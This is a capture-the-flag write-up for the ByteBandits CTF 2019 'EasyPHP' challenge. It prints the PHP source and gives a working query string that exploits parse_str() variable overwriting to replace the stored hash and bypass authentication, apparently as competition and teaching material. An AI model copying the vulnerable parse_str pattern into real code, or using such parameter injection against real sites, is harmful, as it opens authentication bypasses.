ByteBandits CTF 2019
EasyPHP
The original PHP code was available on: http://easyphp.ctf.euristica.in/
I took a copy, made some debug output, and began some testing on my local server. Modified code below:
<?php
$hashed_key = '79abe9e217c2532193f910434453b2b9521a94c25ddc2e34f55947dea77d70ff';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
$query = $parsed["query"];
$parsed_query = parse_str($query);
if($parsed_query!=NULL){
$action = $parsed_query['action'];
}
if($action==="auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
//Start of Debug
echo 'key: '.$key.'<br/>';
echo 'hashed_input: '.$hashed_input.'<br/>';
echo 'hashed_key: '.$hashed_key.'<br/>';
echo '$hashed_input!==$hashed_key: '.($hashed_input!==$hashed_key?'TRUE':'FALSE').'<br/>';
echo '<br/>';
//End of Debug
//echo $hashed_input.'\n';
if($hashed_input!==$hashed_key){
die("GTFO!");
}
//echo file_get_contents("/flag");
echo "SHOW FLAG ON LIVE";
}
}else{
show_source(__FILE__);
}
?>
Initially it looks like we have to provide a parameter ‘action’ that we set to ‘auth’ and then a second parameter ‘key’ that when hashed with sha256 must equal the hashed key at the top of the code.
Initially did some searches on the hash, but no luck.
Then I started experimenting: http://localhost/html/test.php?action=auth&key=test
key: test
hashed_input: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
hashed_key: 79abe9e217c2532193f910434453b2b9521a94c25ddc2e34f55947dea77d70ff
$hashed_input!==$hashed_key: TRUE
GTFO!
I went to the standard PHP type comparisons page: https://www.php.net/manual/en/types.comparisons.php to see if there was any type issue. But !== returns true if types don’t match or content doesn’t match.
Started looking at all the API calls and found documentation for parse_str:
parse_str ( string
$encoded_string
[, array&$result
] ) : void
Parses
ttps://www.php.net/manual/en/function.parse-str.phpencoded_string
as if it were the query string passed via a URL and sets variables in the current scope (or in the array ifresult
is provided).
So our call does not provide a second variable, so we may be able to overwrite other variables in scope. Try setting hashed_key to sha256(‘test’): http://localhost/html/test.php?action=auth&key=test&hashed_key=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
key: test
hashed_input: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
hashed_key: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
$hashed_input!==$hashed_key: FALSE
SHOW FLAG ON LIVE
This looks like it works, so try on live server: http://easyphp.ctf.euristica.in/?action=auth&key=test&hashed_key=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
flag{ezPz_pHp_0b9fd0f8}